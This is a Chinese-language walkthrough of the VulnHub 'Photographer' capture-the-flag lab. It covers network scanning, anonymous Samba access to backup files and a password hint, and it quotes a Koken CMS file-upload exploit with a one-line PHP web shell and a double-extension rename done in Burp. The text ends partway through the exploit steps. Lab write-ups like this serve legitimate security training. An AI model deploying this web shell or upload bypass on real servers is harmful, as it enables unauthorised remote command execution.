VulnHub_Photographer

使用netdiscover扫描局域网主机

sudo netdiscover -r 192.168.44.0/24

通过nmap扫描主机开放端口，我们可以看到目标主机开放了一下端口：

80： Apache/2.4.18
139： netbios-ssn Samba smbd 3.X - 4.X
445： netbios-ssn Samba smbd 4.3.11-Ubuntu
8000： Apache/2.4.18 运行koken 0.22.24

通过上面的扫描结果可以看到目标主机开放了445端口，我们匿名访问可以得到一些文件

sudo smbclient //192.168.44.144/sambashare

下载这两个文件

smb: \> get wordpress.bkp.zip 
getting file \wordpress.bkp.zip of size 13930308 as wordpress.bkp.zip (76857.7 KiloBytes/sec) (average 76857.7 KiloBytes/sec)
smb: \> get mailsent.txt 
getting file \mailsent.txt of size 503 as mailsent.txt (35.1 KiloBytes/sec) (average 71226.7 KiloBytes/sec)

查看了wordpress备份文件没有发现有用的信息
查看mailsent.txt发现有一提示语Don't forget your secret, my babygirl ;)猜测这个可能时账户的密码。

我们接着看一下之前扫描到的8000端口，打开之后是一个Koken搭建的网站

通过最开始的扫描我们可以基本判断时Koken0.22.24版本，我们上SearchSpolit搜索找到一个可以移动的文件上传漏洞

searchsploit Koken

查看漏洞利用方法

1. Create a malicious PHP file with this content:

   <?php system($_GET['cmd']);?>

2. Save as "image.php.jpg"

3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.

4. On Burp, rename your file to "image.php"